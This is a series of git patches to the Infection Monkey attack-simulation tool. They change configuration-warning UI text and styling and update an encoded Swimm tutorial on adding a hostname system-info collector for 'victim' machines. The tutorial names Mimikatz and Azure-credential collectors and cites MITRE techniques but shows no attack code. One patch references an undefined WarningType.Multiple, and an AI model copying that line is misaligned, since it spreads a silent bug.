); } diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js index f0545a5c6..841eafe16 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js @@ -6,13 +6,19 @@ import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons'; import {getObjectFromRegistryByRef} from './JsonSchemaHelpers'; import WarningIcon from './WarningIcon'; -function getDefaultPaneParams(refString, registry) { +const WarningType = { + NONE: 0, + SINGLE: 1, + MULTIPLE: 2 +} + +function getDefaultPaneParams(refString, registry, unsafeOptionsSelected) { let configSection = getObjectFromRegistryByRef(refString, registry); return ( { title: configSection.title, content: configSection.description, - showWarning: false + warningType: unsafeOptionsSelected ? WarningType.Multiple : WarningType.NONE }); } @@ -56,8 +62,8 @@ function getSubtitle(props) { function getBody(props) { let body = [{props.body}]; - if (props.showWarning) { - body.push(getWarning()); + if (props.warningType != WarningType.NONE) { + body.push(getWarning(props.warningType)); } return ( @@ -67,14 +73,25 @@ function getBody(props) { ) } -function getWarning() { - return ( -
- This option may cause a system to become unstable or - change the system's state in undesirable ways. Therefore, this option - is not recommended for use in production or other sensitive environments. -
- ); +function getWarning(warningType) { + if (warningType == WarningType.SINGLE) { + return ( +
+ This option may cause a system to become unstable or may + change a system's state in undesirable ways. Therefore, this option + is not recommended for use in production or other sensitive environments. +
+ ); + } else { + return ( +
+ Some options have been selected that may cause a system + to become unstable or may change a system's state in undesirable ways. + Running Infection Monkey in a production or other sensitive environment + with this configuration is not recommended. +
+ ); + } } -export {getDefaultPaneParams, InfoPane} +export {getDefaultPaneParams, InfoPane, WarningType} From 61eb9a7a23ee7a2dd05cab963669b5e04607c43c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 28 Jan 2021 13:23:04 -0500 Subject: [PATCH 212/466] ui: align warning text and icon --- monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss | 3 +++ .../cc/ui/src/styles/pages/ConfigurationPage.scss | 1 - 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss b/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss index 561e436cf..518757713 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss @@ -30,7 +30,10 @@ .info-pane-warning { margin-top: 1em; + display: flex; } .info-pane-warning .warning-icon { + margin-top: .188em; margin-left: 0em; + margin-right: .75em; } diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss index 98e598c81..6bda238ea 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss @@ -62,5 +62,4 @@ color: #ffc107; font-weight: 900; margin-left: .75em; - margin-right: .75em; } From 08926d778b4b2f8c1f8384acb0fab403e4db7081 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 28 Jan 2021 13:27:36 -0500 Subject: [PATCH 213/466] ui: refactor duplicate code in getWarning() --- .../src/components/ui-components/InfoPane.js | 29 +++++++++---------- 1 file changed, 14 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js index 841eafe16..21686b468 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js @@ -75,23 +75,22 @@ function getBody(props) { function getWarning(warningType) { if (warningType == WarningType.SINGLE) { - return ( -
- This option may cause a system to become unstable or may - change a system's state in undesirable ways. Therefore, this option - is not recommended for use in production or other sensitive environments. -
- ); + var warning = This option may cause a system to become unstable or + may change a system's state in undesirable ways. Therefore, this option + is not recommended for use in production or other sensitive + environments.; } else { - return ( -
- Some options have been selected that may cause a system - to become unstable or may change a system's state in undesirable ways. - Running Infection Monkey in a production or other sensitive environment - with this configuration is not recommended. -
- ); + warning = Some options have been selected that may cause a system + to become unstable or may change a system's state in undesirable ways. + Running Infection Monkey in a production or other sensitive environment + with this configuration is not recommended.; } + + return ( +
+ {warning} +
+ ); } export {getDefaultPaneParams, InfoPane, WarningType} From f41f896aefa83b240b8abb60c3b6d5d7d5b4cb8a Mon Sep 17 00:00:00 2001 From: Swimm Date: Thu, 28 Jan 2021 20:42:14 +0200 Subject: [PATCH 214/466] Swimm: update unit Add a new System Info Collector (id: OwcKMnALpn7tuBaJY1US). --- .swm/OwcKMnALpn7tuBaJY1US.swm | 278 ++++++++++++++++++++++++---------- 1 file changed, 202 insertions(+), 76 deletions(-) diff --git a/.swm/OwcKMnALpn7tuBaJY1US.swm b/.swm/OwcKMnALpn7tuBaJY1US.swm index 4e446cb48..a243319d2 100644 --- a/.swm/OwcKMnALpn7tuBaJY1US.swm +++ b/.swm/OwcKMnALpn7tuBaJY1US.swm @@ -1,10 +1,20 @@ { "id": "OwcKMnALpn7tuBaJY1US", "name": "Add a new System Info Collector", - "dod": "QWRkJTIwYSUyMHN5c3RlbSUyMGluZm8lMjBjb2xsZWN0b3IlMjB0aGF0JTIwY29sbGVjdHMlMjB0aGUlMjBtYWNoaW5lJTIwaG9zdG5hbWUu", - "description": "JTIzJTIwV2hhdCUyMGFyZSUyMHN5c3RlbSUyMGluZm8lMjBjb2xsZWN0b3JzJTNGJTBBJTBBV2VsbCUyQyUyMHRoZSUyMG5hbWUlMjBwcmV0dHklMjBtdWNoJTIwZXhwbGFpbnMlMjBpdC4lMjBUaGV5JTIwYXJlJTIwTW9ua2V5JTIwY2xhc3NlcyUyMHdoaWNoJTIwY29sbGVjdCUyMHZhcmlvdXMlMjBpbmZvcm1hdGlvbiUyMHJlZ2FyZGluZyUyMHRoZSUyMHZpY3RpbSUyMHN5c3RlbSUyQyUyMHN1Y2glMjBhcyUyMEVudmlyb25tZW50JTJDJTIwU1NIJTIwSW5mbyUyQyUyMFByb2Nlc3MlMjBMaXN0JTJDJTIwTmV0c3RhdCUyMGFuZCUyMG1vcmUuJTIwJTBBJTBBJTIzJTIzJTIwV2hhdCUyMHNob3VsZCUyMEklMjBhZGQlM0YlMjAlMEElMEFBJTIwc3lzdGVtJTIwaW5mbyUyMGNvbGxlY3RvciUyMHdoaWNoJTIwY29sbGVjdHMlMjB0aGUlMjBob3N0bmFtZSUyMG9mJTIwdGhlJTIwc3lzdGVtLiUwQSUwQSUyMyUyMyUyMFRlc3QlMjBtYW51YWxseSUwQSUwQU9uY2UlMjB5b3UncmUlMjBkb25lJTJDJTIwbWFrZSUyMHN1cmUlMjB0aGF0JTIweW91ciUyMGNvbGxlY3RvciUzQSUwQSolMjBBcHBlYXJzJTIwaW4lMjB0aGUlMjBJc2xhbmQlMjBjb25maWd1cmF0aW9uJTJDJTIwYW5kJTIwaXMlMjBlbmFibGVkJTIwYnklMjBkZWZhdWx0JTBBKiUyMFRoZSUyMGNvbGxlY3RvciUyMGFjdHVhbGx5JTIwcnVucyUyMHdoZW4lMjBleGVjdXRpbmclMjBhJTIwTW9ua2V5LiUwQSolMjBSZXN1bHRzJTIwc2hvdyUyMHVwJTIwaW4lMjB0aGUlMjByZWxldmFudCUyMHBsYWNlcyUzQSUwQSUyMCUyMColMjBUaGUlMjBpbmZlY3Rpb24lMjBtYXAuJTBBJTIwJTIwKiUyMFRoZSUyMHNlY3VyaXR5JTIwcmVwb3J0LiUwQSUyMCUyMColMjBUaGUlMjByZWxldmFudCUyME1JVFJFJTIwdGVjaG5pcXVlcy4lMEElMEEqKlRoZXJlJTIwYXJlJTIwYSUyMGxvdCUyMG9mJTIwaGludHMlMjBmb3IlMjB0aGlzJTIwdW5pdCUyMC0lMjBkb24ndCUyMGJlJTIwYWZyYWlkJTIwdG8lMjB1c2UlMjB0aGVtISoq", - "summary": "U3lzdGVtJTIwaW5mbyUyMGNvbGxlY3RvcnMlMjBhcmUlMjB1c2VmdWwlMjB0byUyMGdldCUyMG1vcmUlMjBkYXRhJTIwZm9yJTIwdmFyaW91cyUyMHRoaW5ncyUyQyUyMHN1Y2glMjBhcyUyMFpUJTIwdGVzdHMlMjBvciUyME1JVFJFJTIwdGVjaG5pcXVlcy4lMjBUYWtlJTIwYSUyMGxvb2slMjBhdCUyMHNvbWUlMjBvdGhlciUyMHRlY2huaXF1ZXMh", - "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzLnB5JTIwYiUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzLnB5JTBBaW5kZXglMjAxNzVhMDU0ZS4uM2I0NzhkYzklMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMucHklMEElNDAlNDAlMjAtMSUyQzUlMjAlMkIxJTJDNSUyMCU0MCU0MCUwQSUyMEFXU19DT0xMRUNUT1IlMjAlM0QlMjAlMjJBd3NDb2xsZWN0b3IlMjIlMEEtSE9TVE5BTUVfQ09MTEVDVE9SJTIwJTNEJTIwJTIySG9zdG5hbWVDb2xsZWN0b3IlMjIlMEElMkIlMjMlMjBTV0lNTUVSJTNBJTIwQ29sbGVjdG9yJTIwbmFtZSUyMGdvZXMlMjBoZXJlLiUwQSUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUyMCUzRCUyMCUyMkVudmlyb25tZW50Q29sbGVjdG9yJTIyJTBBJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiUyMCUzRCUyMCUyMlByb2Nlc3NMaXN0Q29sbGVjdG9yJTIyJTBBJTIwTUlNSUtBVFpfQ09MTEVDVE9SJTIwJTNEJTIwJTIyTWltaWthdHpDb2xsZWN0b3IlMjIlMEFkaWZmJTIwLS1naXQlMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnN5c3RlbV9pbmZvJTJGY29sbGVjdG9ycyUyRmhvc3RuYW1lX2NvbGxlY3Rvci5weSUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGc3lzdGVtX2luZm8lMkZjb2xsZWN0b3JzJTJGaG9zdG5hbWVfY29sbGVjdG9yLnB5JTBBaW5kZXglMjBhZTk1NjA4MS4uNGRjNjcwMWElMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnN5c3RlbV9pbmZvJTJGY29sbGVjdG9ycyUyRmhvc3RuYW1lX2NvbGxlY3Rvci5weSUwQSUyQiUyQiUyQiUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGc3lzdGVtX2luZm8lMkZjb2xsZWN0b3JzJTJGaG9zdG5hbWVfY29sbGVjdG9yLnB5JTBBJTQwJTQwJTIwLTElMkMxNiUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwaW1wb3J0JTIwbG9nZ2luZyUwQS1pbXBvcnQlMjBzb2NrZXQlMEEtJTBBLWZyb20lMjBjb21tb24uZGF0YS5zeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzJTIwaW1wb3J0JTIwSE9TVE5BTUVfQ09MTEVDVE9SJTBBLWZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnN5c3RlbV9pbmZvLnN5c3RlbV9pbmZvX2NvbGxlY3RvciUyMGltcG9ydCUyMCU1QyUwQS0lMjAlMjAlMjAlMjBTeXN0ZW1JbmZvQ29sbGVjdG9yJTBBJTIwJTBBJTIwbG9nZ2VyJTIwJTNEJTIwbG9nZ2luZy5nZXRMb2dnZXIoX19uYW1lX18pJTBBJTIwJTBBLSUwQS1jbGFzcyUyMEhvc3RuYW1lQ29sbGVjdG9yKFN5c3RlbUluZm9Db2xsZWN0b3IpJTNBJTBBLSUyMCUyMCUyMCUyMGRlZiUyMF9faW5pdF9fKHNlbGYpJTNBJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN1cGVyKCkuX19pbml0X18obmFtZSUzREhPU1ROQU1FX0NPTExFQ1RPUiklMEEtJTBBLSUyMCUyMCUyMCUyMGRlZiUyMGNvbGxlY3Qoc2VsZiklMjAtJTNFJTIwZGljdCUzQSUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZXR1cm4lMjAlN0IlMjJob3N0bmFtZSUyMiUzQSUyMHNvY2tldC5nZXRmcWRuKCklN0QlMEElMkIlMjMlMjBTV0lNTUVSJTNBJTIwVGhlJTIwY29sbGVjdG9yJTIwY2xhc3MlMjBnb2VzJTIwaGVyZS4lMEFkaWZmJTIwLS1naXQlMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JfY2xhc3Nlcy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnN5c3RlbV9pbmZvX2NvbGxlY3Rvcl9jbGFzc2VzLnB5JTBBaW5kZXglMjA1ZjExM2Y0YS4uNzA0M2UyMjclMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JfY2xhc3Nlcy5weSUwQSUyQiUyQiUyQiUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnN5c3RlbV9pbmZvX2NvbGxlY3Rvcl9jbGFzc2VzLnB5JTBBJTQwJTQwJTIwLTElMkM3JTIwJTJCMSUyQzYlMjAlNDAlNDAlMEElMjBmcm9tJTIwY29tbW9uLmRhdGEuc3lzdGVtX2luZm9fY29sbGVjdG9yc19uYW1lcyUyMGltcG9ydCUyMChBV1NfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwQVpVUkVfQ1JFRF9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBFTlZJUk9OTUVOVF9DT0xMRUNUT1IlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwSE9TVE5BTUVfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwTUlNSUtBVFpfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiklMEElMjAlMEElNDAlNDAlMjAtMzclMkMxNSUyMCUyQjM2JTJDNyUyMCU0MCU0MCUyMFNZU1RFTV9JTkZPX0NPTExFQ1RPUl9DTEFTU0VTJTIwJTNEJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyaW5mbyUyMiUzQSUyMCUyMklmJTIwb24lMjBBV1MlMkMlMjBjb2xsZWN0cyUyMG1vcmUlMjBpbmZvcm1hdGlvbiUyMGFib3V0JTIwdGhlJTIwQVdTJTIwaW5zdGFuY2UlMjBjdXJyZW50bHklMjBydW5uaW5nJTIwb24uJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTA4MiUyMiU1RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMnN0cmluZyUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUQlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydGl0bGUlMjIlM0ElMjAlMjJIb3N0bmFtZSUyMGNvbGxlY3RvciUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJpbmZvJTIyJTNBJTIwJTIyQ29sbGVjdHMlMjBtYWNoaW5lJ3MlMjBob3N0bmFtZS4lMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTA4MiUyMiUyQyUyMCUyMlQxMDE2JTIyJTVEJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUyQyUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMyUyMFNXSU1NRVIlM0ElMjBDb2xsZWN0b3IlMjBjb25maWclMjBnb2VzJTIwaGVyZS4lMjBUaXAlM0ElMjBIb3N0bmFtZSUyMGNvbGxlY3Rpb24lMjByZWxhdGVzJTIwdG8lMjB0aGUlMjBUMTA4MiUyMGFuZCUyMFQxMDE2JTIwdGVjaG5pcXVlcy4lMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZtb25rZXkucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGbW9ua2V5LnB5JTBBaW5kZXglMjBiNDdkNmExNS4uMWIxOTYyYTQlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGbW9ua2V5LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRm1vbmtleS5weSUwQSU0MCU0MCUyMC0xJTJDNyUyMCUyQjElMkM2JTIwJTQwJTQwJTBBJTIwZnJvbSUyMGNvbW1vbi5kYXRhLnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMlMjBpbXBvcnQlMjAoQVdTX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEFaVVJFX0NSRURfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwRU5WSVJPTk1FTlRfQ09MTEVDVE9SJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyME1JTUlLQVRaX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBST0NFU1NfTElTVF9DT0xMRUNUT1IpJTBBJTIwJTBBJTQwJTQwJTIwLTg4JTJDNyUyMCUyQjg3JTJDNiUyMCU0MCU0MCUyME1PTktFWSUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmRlZmF1bHQlMjIlM0ElMjAlNUIlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBFTlZJUk9OTUVOVF9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBV1NfQ09MTEVDVE9SJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBST0NFU1NfTElTVF9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBNSU1JS0FUWl9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBWlVSRV9DUkVEX0NPTExFQ1RPUiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRnRlbGVtZXRyeSUyRnByb2Nlc3NpbmclMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzJTJGaG9zdG5hbWUucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRmhvc3RuYW1lLnB5JTBBaW5kZXglMjBlMmRlNDUxOS4uMDRiYzM1NTYlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRmhvc3RuYW1lLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGdGVsZW1ldHJ5JTJGcHJvY2Vzc2luZyUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnMlMkZob3N0bmFtZS5weSUwQSU0MCU0MCUyMC0xJTJDOSUyMCUyQjElMkM5JTIwJTQwJTQwJTBBJTIwaW1wb3J0JTIwbG9nZ2luZyUwQSUyMCUwQS1mcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5tb2RlbHMubW9ua2V5JTIwaW1wb3J0JTIwTW9ua2V5JTBBJTJCJTIzJTIwU1dJTU1FUiUzQSUyMFRoaXMlMjB3aWxsJTIwYmUlMjB1c2VmdWwlMjAlM0EpJTIwbW9ua2V5X2lzbGFuZC5jYy5tb2RlbHMubW9ua2V5Lk1vbmtleSUyMGhhcyUyMHRoZSUyMHVzZWZ1bCUwQSUyQiUyMyUyMCUyMmdldF9zaW5nbGVfbW9ua2V5X2J5X2d1aWQlMjIlMjBhbmQlMjAlMjJzZXRfaG9zdG5hbWUlMjIlMjBtZXRob2RzLiUwQSUyMCUwQSUyMGxvZ2dlciUyMCUzRCUyMGxvZ2dpbmcuZ2V0TG9nZ2VyKF9fbmFtZV9fKSUwQSUyMCUwQSUyMCUwQS1kZWYlMjBwcm9jZXNzX2hvc3RuYW1lX3RlbGVtZXRyeShjb2xsZWN0b3JfcmVzdWx0cyUyQyUyMG1vbmtleV9ndWlkKSUzQSUwQS0lMjAlMjAlMjAlMjBNb25rZXkuZ2V0X3NpbmdsZV9tb25rZXlfYnlfZ3VpZChtb25rZXlfZ3VpZCkuc2V0X2hvc3RuYW1lKGNvbGxlY3Rvcl9yZXN1bHRzJTVCJTIyaG9zdG5hbWUlMjIlNUQpJTBBJTJCJTIzJTIwU1dJTU1FUiUzQSUyMFByb2Nlc3NpbmclMjBmdW5jdGlvbiUyMGdvZXMlMjBoZXJlLiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRnRlbGVtZXRyeSUyRnByb2Nlc3NpbmclMk